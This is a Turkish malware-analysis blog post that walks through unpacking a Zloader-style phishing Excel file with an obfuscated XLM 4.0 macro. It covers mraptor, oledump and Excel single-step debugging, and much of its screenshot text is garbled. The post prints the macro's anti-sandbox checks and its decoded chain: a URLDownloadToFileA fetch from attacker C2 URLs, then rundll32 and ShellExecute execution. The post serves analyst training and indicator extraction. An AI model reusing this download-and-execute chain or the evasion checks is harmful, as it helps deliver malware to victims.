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2017 yilinda baslayan DDE tabanli oltalama saldirilari, 2020 yili itibariyle
yerini Excel 4.0 Makro (XLM) oltalama saldirilarina birakti. Ufak bir
arastirma yaptiginizda XLM makrolarinin hayatimiza girisinin 1992 yilinda
Microsoft Excel 4.0‘1in yayinlanmasi ile oldugunu gOrebilirsiniz. Tehdit
aktorleri tarafindan siklikla kotuye kullanilan VBA makrolari ise Excel 5.0
ile duyurulmasi ile hayatimiza girmis ve gunumizde de en guncel Microsoft
Office slriminde hala desteklenmektedir.

Yanlis animsamiyorsam XLM makrolari ile ilgili ofansif glvenlik lizerine
okudugum ilk teknik makale Outflank firmasina ait bu blog yazisiydi. XLM
makrolarini VBA makrolari gibi tespit edip, analiz etmenin pek de kolay
olmadigi XLM makrolarina yonelik yapilan givenlik arastirmalari ile ortaya
¢cikmaya basladiktan sonra her zaman oldugu gibi ofansif givenlik uzmanlarinin
yani sira tehdit aktorlerinin de dikkatini cekmeye basladi. Aradan cok zaman
gecmeden de kurumlar XLM makro iceren oltalama saldirilari ile karsilasmaya
basladilar.

XLM makro iceren bir Office dosyasini analiz etmenin zorlugu, Microsoft
Office Makro Analizi baslikli blog yazimda belirttigimin aksine Office’nin
araylzunden kolaylikla goruntilenememesinden (view macro) kaynaklanmaktadir.
Durum bdyle olunca da zararli XLM makro iceren Office dosyalarinin tecribesiz
siber guvenlik uzmanlarinin dikkatinden ka¢ma ihtimali (“Bu Office dosyasi
bozuk”, “Makro icermiyor” gibi) artmaktadir. Ben de hem siber guvenlik
analisletlerine XLM makro iceren Microsoft Office dosyalarinin nasil analiz
edilebilecegini g6stermek hem de XLM makro iceren Microsoft Office
dosyalarina karsi farkindalik yaratmak adina gercek bir olaydan yola c¢ikarak

bir blog yazisi yazmaya karar verdim.

2020 yilinin Mayis ayinda ¢ok sayida SMTP ip adresinden gonderilen ve
gonderici adresi @wp.pl uzantili olan yuzlerce e-posta ic¢in glvenlik
sistemlerinde engellendigine dair alarmlar lremeye basladi. E-postalar
incelendiginde eklerinde rastgele isimle olusturulmus XLS uzantili Excel
dosyalari bulunuyordu. Bu gibi durumlarda siber glvenlik analistlerinin
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yapmasi gereken en onemli adimlardan biri zararli dokiman ic¢inde yer alan
komuta kontrol merkezine ait adreslerini tespit etmek, web trafigi

kayitlarinda aramak ve kurum genelinde erisimi engellemektedir.

Tabii mevzu bahis XLM makro iceren Office dosyasi oldugunda statik ve dinamik
analiz yapan kum havuzu (sandbox) sistemlerinin anti kum havuzu yontemleri
karsisinda yetersiz kaldigi durumlar séz konusu (Ornek: Kum Havuzu Tespiti)
olabilmektedir. Alarma konu olan zararli Excel dosyasi da tam da bu sekilde
kum havuzunda calistigini anlamaya yonelik kontroller gerceklestirdigi ic¢in
komuta kontrol merkezinin adresi bu analizler (VirusTotal, Hybrid-Analysis)
esnasinda ortaya c¢ikmamaktadir. Bu durumda siber guvenlik analistinin yapmasi
gereken is bu zararli Excel dosyasini alip zararli yazilimi analizi amaciyla
olusturdugu sanal sistemine kopyalamak ve orada analiz etmek olmalaidir.

Excel dosyasini sanal sistemde calistirdigimizda karsimiza iki tane sayfa
(Sheetl & Sheet2) c¢ikmaktadir. Birinci sayfada kotu emellerini
gerceklestirebilmek icin makroyu aktif hale getirmemiz gerektigini belirten
sahte bir resim/mesaj, ikinci sayfada ise bombos hiicreler (aslinda bos degil
1)) karsimiza c¢ikmaktadir. Her ne kadar Excel bize bu dosyada makro olduguna
dair uyari verse de dosyada yer alan makroyu gorintiledigimizde ic¢inin bos
oldugu goriunmektedir.
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Dosyay1l herhangi bir hex editdru ile acip icinde yer alan karakter dizilerine
(strings) baktigimizda Excel 4.0 Macros dizisinden siphe ettigimiz gibi bunun
XLM makrosu icerdigini gorebiliyoruz. Dosyanin icinde makro oldugundan emin
olmak i¢in dosyayi mraptor araci ile analiz ettigimizde dosyada makro oldugu
ve otomatik olarak calisabilmesi adina Auto Open isminde (VBA makrosundaki
AutoOpen() fonksiyonu gibi) bir hicreye (cell) sahip oldugu anlasiliyordu. Bu
hicrenin adini 6grenip gorintilemek ve analiz etmek ig¢in ise Didier
STEVENS‘1n oledump aracindan faydalanarak (oledump.py -p plugin biff.py
—pluginoptions “-o LABEL -s”
C:\Users\Mert\Desktop\ea74b9a274c0c73cad990ddd089927b6.x1ls) ilk calistirilan
hicrenin Auto OpencfitK adina sahip oldugunu gérdim. Analistin Excel
uzerinden Go To (CTRL-G) ile Auto Open ismine sahip hicreye giderek analize
baslayacagini bilen zararli kod gelistiricisi akillilik yaparak adini bu
hicrenin adini Auto OpencfitK olarak degistirmistir.
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iHatches: [‘Auto_Open’, *‘URLDownloadToFileA'. ‘RUN'1

Flags: A=AutoExec, W=Write, H=Execute
Exit code: 28 - SUSPICIOQUS

C:~Users~Mert~Desktop>

C:vUserssMertsDesktop~Applications™oledump_UBA_A_4@>python oledump.py —-p plugin_b
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Plugin: BIFF plugin
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C:vwlUserssMertsDesktop~Applicationssoledump_UA_BA_48%
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Baslangi¢ hiicresine gittikten ve dosya genelinde 42 tane FORMULA ifadesi ve
CHAR fonksiyonundan olusan gizlenmis (obfuscated) bir makro oldugunu
o0grendikten sonra her birini teker teker c¢ézmek ve analiz etmek bir hayli
zaman alacagi i¢in hata ayiklamasi (debugging) ile ilerlemeye karar verdim.
Auto OpencfitK hicresine gidip ALT + F8 kisa yoluna bastiktan sonra Step Into
butonuna bastigimda haliylen Excel beni devam etmek icin makro calistirmaya
izin vermemi ve ardindan dosyayi kapatip acmami istedi. Dosyayl acar acmaz
Excel hizlica Auto OpencfitK hiicresinden ilerleyecegi i¢in bu adimi
kacirmamak icin bu hicrede yer alan =SET.VALUE(FG22029, -490-
GET.CELL(17,HX17320)) formiulini =HALT() ile degistirerek makronun
sonlanmasini sagladim. Ardindan =HALT() formulidni =SET.VALUE(FG22029, -490-
GET.CELL(17,HX17320)) ile degistirip bu hiicre lzerinde ALT + F8 kisa yoluna
bastigimda sorunsuz bir sekilde ilk hiicreden makroyu dinamik olarak analiz
etmeye baslayabildim.
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Step Into ve Evaluate butonlarindan faydalanarak gizlenmis hicrelerin
¢Oozulmesi ile analize devam ettikce Excel 4.0 Macro Functions Reference
belgesinden faydalanarak makronun hata ayiklamaya ve kum havuzuna karsi
cesitli kontroller gercgeklestirdigini gdérdim. Hata ayiklama kontroli yapan
AT41104 hiicresine geldigimde bu kontrolii atlatmak icin hata ayiklama tespit
edilememesi durumunda devam ettigi hicredeki =GOTO(AY23948) degerini AT41104
hlicresine kopyaladim.

=IF(GET.WORKSPACE(31),G0TO(HV23758),) Makro hata ayiklama modunda mi ? (Anti-
debugging)

=IF(GET.WORKSPACE(19),,G0TO(HV23758),) Sistemde fare var mi1 ? (Anti-sandbox)
=IF(GET.WORKSPACE(42),,G0TO(HV23758),) Ses dosyasi calinabiliyor mu ? (Anti-

sandbox)
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Excel 4.0 Macro Functions Reference

2537653

Page length

Logical value indicating whether to wait after printing each page
(TRUE) or use continuous form feeding (FALSE)

Logical value indicating whether the printer has automatic line
feeding (TRUE) or requires line feed characters (FALSE)

The number of the printer port

@fmyOnlineTraininghub

If a currently running macro is in single step mode, returns
TRUE; otherwise, returns FALSE.

The current location of Microsoft Excel as a complete path.

A horizontal array of the names in the New list, in the order
they appear.

A horizontal array of template files (with complete paths) in the
New list, in the order they appear (returns the names of custom
template files and the #N/A error value for built-in document
types)

If a macro is paused, returns TRUE; FALSE otherwise.

If the Allow Cell Drag And Drop check box is selected in the Edit
tab of the Options dialog box that appears when you dlick the

Options command on the Tools menu, returns TRUE; otherwise,
returns FALSE.

A 45-item horizontal array of the items related to country
versions and settings. Use the following macro formula to return
a specific item, where number is a number in the list below:

INDEX (GET.WORKSPACE (37) , number)

- X
ox 9 O0OMMBYO O @O
Other bookmarks




Paste

eal4b9a274c0cT3cad990ddd089927b6 s [Int'] [Shared] [Compatibility Mode] - Excel (Product Activation Failed)

Inset  Pagelayout  Formulas  Data  Review

36 cut & e

Calibri - - A A - 5 WapText General - Normal
ER Copy ~ =
J T (e Merge & Center - B2+ 9% » | 58 58
 Format Painter 3 ** | Formatting = Table
Clipboard I} Font 1 Alignment I Number I
ATALILL v F
AT AU AV AW AX

Bad

Conditional Format as || t=s "ge=|} Explanatory

AY

Style:

Good

s

Neutral

Linked Ce

BA

BB

41104
41105
41106]
21107|
41108
41109
41110

=FORMULA FILL(CHAR(FG22029BY34895) &CHAR(CB44508-1P29128) &( S
F{GET.WORKSPACE(31), GOTO(HV23758),)
=GOTO[AY23948)

1

41111

41112|
41113
41114
41115
41116
41117
41118
41119
41120
41121
41122
41123
41124
41125
41126
41127
41128
41129
41130
41131
41132
41133
a112a

Ready

s X Cut
Em Copy ~

Paste

Clipbaard 5

SUM

Sheetl | Sheet2

Inset  Pagelayout  Formulas  Data  Review

Normal

Conditional Format as | [T

Formatting ~ Table

Calibri n F& « Wrap Text General Bad Good

A lerge & Center % it Input
¥ Format Painter ru A =] Merge & Cent,

Fant Alignment Number styles

Note

Insert Delete Format

cels

>

& Clear~

i

Signin

oSum = p
Sort & Find &
Filter - Select ~

Editing

n

)

i X« Jo | =FORMULA.FILL(CHAR(FG22029*BV34896)&CHAR(CBA4508-1P29128) & CHAR(AR51699-1545266) & CHAR(CE HAR(G136317/823699) &C}

AT AU | AV | AW AX AY Az

2%CK53811)&C)

BA

BB

BC

8D BE

a1104]

41107
41108|
41109)|
a1110|
a1111|
41112|
41113|
41114
a1115|
a1116|
1117
a1113|
41119|
41120|
41121
41122
41123
41124
41125|
41126|
41127
41123
41129
41130|
41131
41132
41133
a1124)

=FORMULA.FILL(CHAR(FG.
41105|CHAR DI59064+U15047) & CHAR(GI36317/HF5916) &CHAR(AR51699/BQ10984) &CHAR DIS9064-FU20334) &CHAR(CBA4508/ AJ6841) &CHAR(BY37681°
41106|HC13071)&CHAR (BDA7288-BR1424). )

CHAR (BY3

HAR(G136317/B73699)&Ct *CK53811)8CHAR(

HAR(CE

)& CHAR(

HAR(CB4Zb

HAR(CB44508¥142532) &CHAR(BDA:

CHAR(CK33913/BCA641) &CH

HAR HA

136317/ ) ) &CHAR(BD4:

HAR|

HAR( 47)&CHAR (BD4; E: RA20: HAR(F

CHAR (number)

118) &CH HAR(6136317/5431

7-CLATAL4)

7-FIS7S

HAR(CBA4508/D15017) & CHAR(FG22029/GT28301)&CHAR|BY37681+BR18307) &

HAR(BDA47288-DR1058) &CHAR(DI53064/

CAB2553) &CHAR(ARS1699-BX20019) &CHAR( BD47288HW59142) &

HAR(DIS3064-X48198) &CHAR BY376817717627),AT41105)

Edit

Sheetl | Sheet2 [

£ Share

HAR(CBA4508/D15017)&CHAR(FG22029/



[]

€a74b92274 DcT3cad990ddd0BI82Tb6 xls [Int] [Shared] [Compatibility Mode] - Excel (Product Activation Failed)

Inset  Pagelayout  Formulas  Data View  Q Tell me what you want to do Signin

n = e T
s"m Calibri B Wrap Text General - - Normal Bad Good Neutral E ot ‘%Y p
£ Gopy ~ = - - Fill -

Paste Y B IU- Merge & Center - | G2~ 9 » | %3 99 | Conditional Format as [TTeaT] Explanatory ... Linked Ce Note | Insett Delete Format Sort& Find &

 Format Painter Formatting - Table - - . &ler Fifer- Select

Clipboard [} Font 5 Alignment [ Number 5 Styles Cells Editing ~

Ausi v pa v

AT AU AV AW AX AY Az BA 88 BC BD -

41104|=G0TO(AY23948)

41105|=IF(GET.WORKSPACE(31),GOTO(HV23758),)
a1106|
41107
41108
a1109|
41110
a1 I
an112|
41113
an14|
41115
a1116|
1117,

41118/

41119)

41120/

41121

41122
a1123|
41124|
41125
41126|
1127

a1128|
41129|
a1130|
ans1
a3
a1133
1124

Sheetl | Sheet2 @ ] V]

npatibilty

Signin £ Share

Inset  Pagelayout  Formulas  Data  Review  View

= cut = AutoSum
E3 Copy ~ Fill

Paste N n W— % » | 5 9 | Condiionsl Formotes | [T o Note e ey Sotd Find&
. Format Painter o Formatting ~ Tat & Clear~ Filter~ Select

Calibri 1 A A L4 Wrap Text General Normal Bad Good eu

Clipboard [} Font Alignment Number Styles Cells Editing IS

GZ57133 J || =FORMULA.|

LL(CHAR(GI36317-GO62613)&Ct )&CHAR HAR(CK339137BJ64525) &CHAR (CBA4507° Fi &CHAR(D! ) ) &CHAR(CK33913+CK45619) &CHAR(HWA5041-DUS4703) &CHAR( Y

6z S

57110|
57111

57112

s7113|
57114
57115

57116
= B Single Step ==

57117,
57118 Cel

57119

57120/

57121

57122|
57123 [Cstepinto ) [ evawate J[ mar  J[ eote |

ormula:
=IF(GETWORKSPACE(19], GOTO HVZ3756))

L [ steeover J[ Pawse |[ continue J[  hew |
57125
57126|
57127
57128
57129
57130|
57131
57132|
57133
57134|
57135
57136|
57137
57138
57139|=FORMULA. FILL(CHAR{GI36317-GO52613)&CHAR( FG22025- IE39678) &CHAR( AR51698-GM10338) &CHAR(CK 33913781 64525) &CHAR(CBA4507* FRS6685) &.CHAR{DISS063/ P 50295) &CHAR(ARS1698- HEI612) &RCHAR(CK33913+CKAS615) &CHAR(HWA45041-DU54703) &CHAR( GFA5449/143072) &CHAR(ARS 1698-+CW25357
s710l

| sheetr | sheetz @ [
Ready [] m
@ Excel 40 Macro Functions Refere X + - X

¢ > C O & di3owosTizppcl 4,0%20Macro%20Funct o ox s O0OMmMBHB B O @O

&V Hackd Career. Infor.. [ Linkedin W Mert SARICA (merts. W Yerisaretleri M Inbox - mertsarica. Other bookmarks
4 = Data Entry
5 = Unused
6 = Copy and Data Entry

7 = Cut and Data Entry
If no special mode is set, returns 0.

11 X position of the Microsoft Excel workspace window, measured
in points from the left edge of the screen to the left edge of the
window. In Microsoft Excel for the Macintosh, always returns 0.

12 Y position of the Microsoft Excel workspace window, measured
in points from the top edge of the screen to the top edge of the
window. In Microsoft Excel for the Macintosh, always returns 0.

13 Usable workspace width, in points.
14 Usable workspace height, in points.
15 Number indicating maximized or minimized status of Microsoft
Excel:
1 = Neither

2 = Minimized
3 = Maximized
Microsoft Excel for the Macintosh always retums 3.

16 Amount of memory free (in kilobytes).
17 Total memory available to Microsoft Excel (in kilobytes).
18 If a math coprocessor is present, returns TRUE; otherwise,

returns FALSE.

19 ———p Ifa mouse is present, returns TRUE; otherwise, returns FALSE.
In Microsoft Excel for the Macintosh, always returns TRUE.

20 If a group is present in the workspace, returns a horizontal
array of sheets in the group; otherwise retums the #N/A error
value.
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42 = TRUE if leading zero is shown in days (when days are
displayed as numbers); otherwise, returns FALSE.

43 = TRUE if using four-digit years; FALSE if using two-digit
years.

44 = TRUE if date order is month-day-year when displaying
dates in long form; FALSE if date order is day-month-year.
45 = TRUE if leading zero is shown in the time; otherwise,
returns FALSE.

The number 0, 1, or 2 indicating the type of error-checking as
set by the ERROR function. For more information, see ERROR.

A reference in R1C1-text form to the currently defined error-
handling macro (set by the ERROR function), or the #N/A error
value if none is specified.

If sereen updating is turned on (set by the ECHO function),
returns TRUE; otherwise, returns FALSE.

A horizontal array of cell ranges, as R1CL-style text, that were
previously selected with the Go To command from the Edit
menu or the FORMULA.GOTO macro function. If the book has
multiple sheets, or if the single sheet in the workbook is named
differently than the workbook itself, returns names as
[Book]Sheet.

If your computer is capable of playing sounds, returns TRUE;
otherwise, returns FALSE.

If your computer is capable of recording sounds, returns TRUE;
otherwise, returns FALSE.

A three-column array of all currently registered procedures in
dynamic link libraries (DLLS). The first column contains the
names of the DLLS that contain the procedures (in Microsoft
Excel for Windows) or the names of the files that contain the
code resources (in Microsoft Excel for the Macintosh). The
second column contains the names of the procedures in the
DLLs (in Microsoft Excel for Windows) or code resources (in
Microsoft Excel for the Macintosh). The third column contains
text strings specifying the data types of the return values, and
the number and data types of the arguments. For more
information about DLLs and code resources and data types, see
Using the CALL and REGISTER functions in Microsoft Excel Help

Hata ayiklamaya devam ettigimde internet baglantisini kontrol etmek igin
https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-update
s web adresine baglandigini ve hata almasi durumunda calismayi durdurdugunu
farkettim. Kayit defteri (registery) lzerinden sistemde makro kullanimina
izin verilip verilmedigini de kontrol ettikten sonra
https://dehabadi[.]ir/wp-keys[.]php ve
https://eleventalents[.]com/wp-keys[.]php adresleri ile iletisim kurmaya
calistigini goérdim. Analiz esnasinda bu iki adres de aktif olmadigi icin
analize devam edememis olsam da yapmis oldugum arastirmalar sonucunda Zloader
zararli yazilimina ait komuta kontrol merkezleri oldugunu tahmin ettigim bu
adresleri ortaya c¢ikararak basariyla amacima ulasmis oldum.


https://twitter.com/hashtag/zloader
https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader
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Bu yazi ile isin temelini 0grendiginize gdre bundan sonra
XLMMacroDeobfuscator gibi bir arac¢ ile gizlenmis XLM makroyu hizlica
cOzebilir ve zamandan tasarruf edebilirsiniz. :) Bu yazinin XLM makro analizi
yapmak isteyen analistlere 1sik tutacagini Umit ederek bir sonraki yazida
gorismek dilegiyle herkese giivenli ginler dilerim.


https://github.com/DissectMalware/XLMMacroDeobfuscator
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File: C:slUserssMert-~Desktopea?4h?a274clc?3cad??8dddB@8?227ht . x1s

[Loading Cells]

auto_open: auto_open—>Sheet2!SHPL243084

[Starting Deohfuscationl
CELL:=HP243084 » FullEvaluation
CELL:=HF24385 FullEvaluation
CELL:=FBS54728 FullEvaluation
CELL:=FB54721 FullEvaluation
CELL:=CBG6172 FullEvaluation
CELL:=CBG6173 FullEvaluation
CELL=HB?779 FullEvaluation
CELL:=HB?7808 FullEvaluation
CELL:=Z1238 FullEvaluation
CELL:=Z123%9 FullEvaluation
CELL:=F63714 FullEvaluation
CELL:=FG3715 FullEvaluation
CELL:=H58494 FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
FullEvaluation
PartialEvaluat
FullEvaluation
H » FullEvaluation
G161 1>, 2", BOe2229>
CELL:=BGQh2227 » FullEvaluation
CELL:=BG62236 » FullEvaluation
CELL:DHG6B448 » FullEvaluation
BIICI1181>>"  DHoBA441 >
CELL :=DH6A441 » FullEvaluation

]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»
]
»

ion

LR D D A I D D R B B DR D DO DR DN DNNE RENE DN RN DN BN R B B

SET .UALUECFG22029 . -509>
RUH<{Sheet2!FB54728>

SET .UALUECCK33913,.186>
GOTOCCEG172 >

SET .UALUECBD47287.-586 .25
RUH{SheetZ*HB?779>

SET .UALUECBY37681 . -29@>
RUH<{Sheet2?Z1238>

SET .UALUECCB44587, 574>
RUH{Sheet2t*F63714>

SET .UALUECDIS?A63 , —4423
RUH{SheetZ2*H58474>

SET .UALUE{GF45449.319 .5
GOTOCCP3 2084

SET .UALUECGI36317 . —454>
RUH{Sheet2?!DS2AZ58 >

SET .UALUECHW45841 .78 .53
GOTOCDES2852

SET .WALUECARS1698,1325
RUH{Sheet2?GZ5713%>
FORMULAC"=CLOSEC(FALSE>"  HU23758 >
GOTOCEP44684 >

FORMULAC"=APP .MAXIMIZE{>" , EP44681 >
APP.MARIMNIZEC>

GOTOCBORZ2228 )
FORMULAC"=IF{GET .WINDOWC?2 . GOTOCRI-38471 1

IFCGET JMINDOWC? S . GOTOCRI-38471 1C[161 12, >
GOTOCDHEB44@ >
FORMULAC"=IF{GET .WINDOW 28>, .GOTOCRI-366

IF{GET .WINDOW< 28>, .GOTO(RI-36683 1C[118 1
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A
GOTOCEHS 4156 >
CELL:=EH54156 » FullEvaluation

—keys .php""" . GR1784>
CELL:=EH5415% » FullEvaluation

FORMULAC"=""https: 7 eleventalents.com up

GOTOCJ194132

CELL:=J19413 » FullEvaluation

FORMULA<"=CALLS " "urlmon ", ""URLDown loadT
oFilef"" """ JJCCJJ"" B R[-127681CI[92]1,.RI-9661 1C[-991.8,. 82" DD14472>
CELL:=J17414 » FullEvaluation

GOTOCDC17857 >

FORMULAC"=""The workhook cannot he opene
d or repaired by Microsoft Excel because it's corrupt.''"".BEZ27866 2>
CELL:DC17858 - FullEvaluation -

GOTOCAVIIS?5 >

FORMULA<"=ALERT <R[-3B38%1C[-1241>".F¥5%74

CELL:=DC1785%7 » FullEvaluation

CELL:=AU33595% » FullEvaluation .

5 FullEvaluation
GOTOCEI 44845 >

FORMULAC"=""C:»Uindowsssystem3dZ2~rund1132

CELL:=BI 44645 » FullEvaluation

exe'"" ACI4ATE5 >
CELL:=BI 44846 » FullEvaluation
RUN<Sheet2*BGZARZ5 >
CELL:=BG2A825 » FullEvaluation
FORMULAC"=RI[-287A8 1CI[-188 1&"".D11Registe
rServer'"" DE25519>
CELL:=BG2BA826 » FullEvaluation 5
GOTOCU19181 >

CELL:=U17181 » FullEvaluation 5

FORMULAC"=CALLS""She1132"", """ She 11Execut
e, """ JJCCCII" B, " open " RI-72271C[-78]1,.R[—16463 1C[1681,.8,.5>" . CU41982 >
CELL:=U12182 » FullEvaluation

RUH<Sheet2 *AGS5HE74>

CELL:=AG5A74 » FullEvaluation

CALLC "urlmon" . "URLDownloadToFileA ', "JJCC
JJUY .8, " =""https s/ dehabadi. irsup—keys cphp'tt =" o Usere s PublicvAAZ2282P L htm 1 MY
LB8.8>
CELL:=AGSA75 » FullEvaluation .

GOTOCFW3I??5RE>

FILES<{"=""C:~Users~Public~1A2282P.html""

CELL:=FUW37758 » PartialEvaluation .
l!)

CELL:=FUW37751 FullEvaluation
CELL:=EGQ391°/7 FullBranching

[341>>
CELL:=EQ391°/% FullEvaluation

RUM{Sheet2*EQ39177>
IFCISERRORCRI-14291CI[321>, .RUNCRI282%76 1C

[TRUE]
CELL:=EG391806 FullEvaluation
RUN<{Sheet2?GR1784>
CELL = GR1784 FullEvaluation
"https:rseleventalents . comswp—ke

FullEvaluation 5
GOTOCDD14472 >

CALLS"urlmon", "URLDown loadToFile
A", " JJCCJJY B, "https i Aseleventalents .comswp—keys . php* . "=""C:xlUsers~Public~1A2282
P.html""" 8. .8>
CELL:=DD1 4473 » FullEvaluation 5

FullEvaluation 5

RUN{Sheet2*BEZ29866 >
CELL:BE2?7866 » FullEvaluation "

"The workbook cannot he opened o
¥ repaired by Microsoft Excel hecause it's corrupt.”
CELL:BE2986% - FullEvaluation -

— More ——
e

Not: XLM makro analizine dair daha fazla kaynak arayanlara su yazilara da
(#1, #2, #3, #4, #5) g0z atmalarini tavsiye edebilirim.



https://inquest.net/blog/2019/01/29/Carving-Sneaky-XLM-Files
https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros
https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-
https://clickallthethings.wordpress.com/2020/05/13/zloader-and-xlm-4-0-making-evasion-great-again/
https://code.firstlook.media/reverse-engineering-obfuscated-excel-4-macro-malware

